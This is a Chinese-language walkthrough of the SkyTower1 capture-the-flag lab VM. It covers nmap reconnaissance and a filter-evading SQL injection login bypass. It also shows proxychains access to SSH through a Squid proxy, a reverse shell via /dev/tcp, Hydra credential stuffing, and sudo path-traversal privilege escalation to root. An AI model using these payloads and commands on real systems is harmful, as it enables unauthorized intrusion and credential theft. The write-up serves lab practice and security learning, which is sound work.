下载链接：
安装：
下载解压后打开vxbox，新建虚拟机，系统选择linux，使用已有虚拟硬盘文件
选择解压后的vdi文件
后直接创建
设置中的网络链接模式根据自己情况定
我这里选择的是桥接模式
完成后直接启动即可
正文：
先用nmap扫描靶机ip
nmap -sn 192.168.1.1/24
获取到靶机ip后，对靶机的端口进行扫描，并把结果输出到skytower1文件夹下，命名为port方便后续查看
nmap -p- 192.168.1.4 -r -PN -oA skytower1/port
（-p-：对所有端口进行探测
-PN：用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测，而是直接扫描指定的目标
-oA：输出到指定位置
-r：连续扫描端口，并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。
）
对端口指纹进行详细探测,并把结果输出到skytower1文件夹下，命名为server方便后续查看
nmap -p 22,80,3128 192.168.1.4 -sC -sV -r -O --version-all -A -oA skytower1/server
（-p：对指定的端口进行探测
-sV：版本信息
-sC：默认脚本扫描
-A：启动Os检测，版本检测，脚本扫描和traceroute
-O：探测操作系统信息
--version-all：尽可能多的探测信息）
经过查询得知3128端口为一个代理端口，结合22端口的状态为filtered，那么大概率22端口是被过滤掉了
使用默认漏洞脚本对端口进行探测
nmap -p 22,80,3128 192.168.1.4 --script=vuln
我们发现80端口下的login.php有sql注入漏洞，注入点为email
访问80端口
是个朴实无华的登录框
进行目录扫描，并没有新发现
dirsearch -u "192.168.1.4"
既然这里有sql注入，打开bp抓包，抓取登录数据包
将该数据保存到sqlmap目录下的1.txt，然后运行sqlmap进行注入尝试
python sqlmap.py -r 1.txt --dbs --batch
注入失败，我们进行抓包手动尝试
右键将该数据发送到重放器中
在重放器中修改emali参数，在emali参数后加单引号
证实了这里确实有sql注入漏洞
既然sqlmap跑不出来，那我们进行万能密码尝试
admin'+or+'1'='1
同样不可行，换一种万能密码
admin'+or+'1'='1'--+
根据返回的信息得知，万能密码的or位置被替换为了空格并且等于号也被过滤掉了
将or双写以及等于号替换为like再次进行尝试
admin'+oorr+'1'like'1'--+
后面的 --+同样被屏蔽掉了，那将--+去掉，并删除最后一个单引号，让他重新进行闭合状态
admin'+oorr+'1'like'1
看样子是登录成功了，返回80界面进行尝试
登陆失败？
打开bp抓登陆包，然后再bp中修改发包信息
进行发包尝试
登录成功
获取到一个账号以及密码
john：hereisjohn
获取shell
尝试进行ssh登录
但是是没法登陆的，因为在最开始的nmap扫描结果中，22端口是被过滤掉的，但是3128端口是一个代理端口，那我们可以尝试下用该端口进行代理访问22端口
先打开proxychains的配置文件进行配置代理
vim /etc/proxychains.conf
在最下方添加一条（单机键盘上的"i"键即可进行修改操作，修改完成后按"esc"然后输":wq"即可保存退出）
http 192.168.1.4 3128
并且把socks4这一条进行屏蔽（在指令前加井号即可屏蔽）
保存退出
先用nmap进行扫描对我们的猜想进行验证
proxychains nmap -PN 192.168.1.4 -p22 --min-rate 3000 -sT
果然，22端口状态变为open
尝试对我们获取到的账号密码进行登录
john:hereisjohn
proxychains ssh john@192.168.1.4
登是登录上了，但是我们被直接退出来了
但是在进行ssh登陆时可以携带一条指令
再次进行尝试
proxychains ssh john@192.168.1.4 whoami
既然可以执行，那我们执行一个反弹shell
新打开一个窗口进行nc监听
nc -lvvp 8080
然后回到刚才的窗口进行反弹shell
proxychains ssh john@192.168.1.4 "sh -i >& /dev/tcp/192.168.1.3/8080 0>&1"
输入密码
回到nc
反弹成功
经过查询，在该文件夹下的.bashrc文件是导致我们ssh连接时直接给我们断开的罪魁祸首
查看该文件
cat .bashrc
是不是很熟悉？我们之前直接进行ssh登录时返回的语句可不就是这个么
我们对该文件直接重命名给或者删除
mv .bashrc .bashrc.bak
然后退出nc，回到ssh界面，再次尝试登录
proxychains ssh john@192.168.1.4
登录成功
提权
查看具有suid权限的文件，看下有没有什么提权可以用的文件
find / -perm -u=s -type f 2>/dev/null
查看计划任务
cat /etc/crontab
都没有我们可以利用的东西
既然在80端口有sql注入漏洞，那么在login下大概率会有mysql的账号密码
查看下login.php文件进行确认
切换到目录 /var/www
cd /var/www
查看login.php文件
cat login.php
确实存在，账号密码都为root
我们进行mysql登录
mysql -u root -p
输入密码root
登陆成功
查看数据库
show databases;
show databases;
show tables;
select * from login;
将账号密码都进行保存
打开新窗口
vim user.txt
将账号保存进去
vim pass.txt
将密码保存进去
我们可以进行对ssh端口进行挨个尝试
看能不能撞库成功（可以直接在80端口上进行登录，最后也是会获取到同样的账号密码，我这里习惯的先进行撞库）
proxychains hydra -L user.txt -P pass.txt ssh://192.168.1.4 -v
成功，既然我们登陆过john，那我们再次尝试登录sara
proxychains ssh sara@192.168.1.4
既然还是同样的方式给我们提出来了，我们再次用同样的方法进行反弹shell
打开nc监听
nc -lvvp 8080
proxychains ssh sara@192.168.1.4 "sh -i >& /dev/tcp/192.168.1.3/8080 0>&1"
反弹成功
同样的方法删除或者重命名.bashrc文件
mv .bashrc .bashrc.bak
退出nc，再次尝试ssh登录
proxychains ssh sara@192.168.1.4
登陆成功
查看下该用户的权限
既然他又这个权限（用root权限执行/bin/cat /accounts/* 不需要密码）
那我们可以尝试用这个进行提权
sudo /bin/cat /accounts/ ../../etc/passwd
发现该方法确实可行
我们可以用该方法去查看下root目录有什么文件，只需要将"cat"替换为"ls"
sudo /bin/ls /accounts/ ../../root
有个flag文件，我们进行查看
sudo /bin/cat /accounts/ ../../root/flag.txt
root的密码竟然藏在这里
将账户切换为root
su root
输入密码theskytower
成功